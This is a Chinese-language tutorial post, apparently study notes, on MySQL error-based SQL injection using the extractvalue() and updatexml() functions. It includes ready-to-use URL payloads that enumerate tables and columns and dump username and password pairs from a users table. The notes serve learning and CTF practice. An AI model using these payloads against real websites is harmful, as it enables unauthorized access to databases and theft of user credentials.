当前位置: 首页 > news >正文

sql知识总结二

一.报错注入

1.什么是报错注入?

这是一种页面响应形式,响应过程如下:

用户在前台页面输入检索内容----->后台将前台输入的检索内容无加区别的拼接成sql语句,送给数据库执行------>数据库将执行的结果返回给后台,后台将数据库执行的结果无加区别的显示到前台页面上

两个“无加区别”:后台对于输入输出的合理性没有做检查(引起报错注入存在的基础)

通过看这个页面是否有回显来判断是否用报错注入

构造语句,让错误信息中夹杂可以显示数据库内容的查询语句

二.常用函数

主要用1,2,3

1.通过extractValue()报错注入

函数extractValue()包含两个参数

第一个  参数XML文档对象名称,第二个参数  路径

以创建数据库ctfstu和数据表xml为示例,展示函数extractValue()的用法

(1)先在ctfstu数据库内创建表xml

>create database ctfstu charset utf8;

>create table xml(doc varchar(150));

(2)在表内插入两段数据

insert into xml values('

<book>

<title>A bad boy how to get a girlfriend</title>

<author>

<initial>Love</initial>

<surname>benben</surname>

</author>

</book>

');

insert into xml values('

<book>

<title>how to become a bad boy</title>

<author>

<initial>hualong</initial>

<surname>Melton</surname>

</author>

</book>

');

(3)使用extractValue()查询xml里面的内容

查询作者是谁

>select extractvalue(doc,'/book/author/surname')from xml;

如果需要查询书名则可以用如下命令

>select extractvalue(doc,'/book/title') from xml;

把查询参数路径写错----->查询不到内容,但不会报错

>select extractValue(doc,concat(0x7e,(select);

把查询参数格式符号写错(例如book前面的/写成~)——>提示报错信息   [我们需要通过报错信息来尝试报错出我们需要的信息]

 然后就构造下面这句

>select extractvalue(dox,concat(0x7e,(select database()))) from, xml;

(dox 可以随意写)

?/id=100' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

?/id=100' and 1,extractvalue(1,concat(0x7e,(select database()))) --+

0x7e  是  ~ 的ASCLL码

(4)获取所需数据表表名users

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

(5) 获取所需数据列列名username 和 password

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+

(6)显示内容

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) --+

或者 

?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,,password) from users))) --+

默认只能显示返回32个字符

使用函数substring解决只能返回32个字符串问题 

select substring(123456,1,3)  第一个参数是要控制输出的字符串,第二个参数是从那个地方开始显示,第三个参数是一次要显示几个字符 

2.updatexml报错注入

函数updatexml(XML_document,XPath_string,new_value)包含三个参数

第一个参数: XML_document是string格式,为XML文档对象的名称,例如Doc

第二个参数:XPath_string是路径,XPath格式的字符串

第三个参数:new_value,string格式,替换查找到符合条件的数据

updatexml报错原理:

同extractvalue(),输入错误的第二个参数,即更改路径的符号

正常句式

>select updatexml(doc,'/book/auther/surname','1') from xml;

错误句式

>select updatexml(doc,'~book/auther/surname','1') from xml;

http://www.lryc.cn/news/340965.html

相关文章:

  • VSCode和CMake实现C/C++开发
  • 【机器学习300问】74、如何理解深度学习中L2正则化技术?
  • C语言程序设计每日一练(4)
  • m4p转换mp3格式怎么转?3个Mac端应用~
  • 全国产化无风扇嵌入式车载电脑在车队管理嵌入式车载行业应用
  • 爬虫入门——Request请求
  • 创建一个javascript公共方法的npm包,js-tool-big-box,发布到npm上,一劳永逸
  • 【在线OJ系统】自定义注解实现分布式ID无感自增
  • 35. UE5 RPG制作火球术技能
  • 计算机网络 TCP/IP体系 物理层
  • 微服务相关
  • 虚拟机下如何使用Docker(完整版)
  • asp.net core 依赖注入后的服务生命周期
  • 交换排序:冒泡排序和快速排序
  • 聊天机器人ChatGPT指导下的论文写作
  • 康谋技术 | 深入探讨:自动驾驶中的相机标定技术
  • 如何在 Ubuntu 上启用 IPv6
  • Mac电脑上有什么好玩的格斗游戏 《真人快打1》可以在苹果电脑上玩吗
  • 【leetcode面试经典150题】55. 逆波兰表达式求值(C++)
  • 云轴科技ZStack入选中国信通院《高质量数字化转型产品及服务全景图(2023年度)》
  • Workerman开启ssl方法如下
  • 如何防止服务器被攻击
  • 18 统计网站每日的访问次数
  • Java PDF文件流传输过程中速度很慢,如何解决?
  • MCU最小系统晶振模块设计
  • ELK及ELFK排错
  • 『Django』创建app(应用程序)
  • Docker安装(一)
  • 由于bug发现的现象
  • ES源码四:网络通信层流程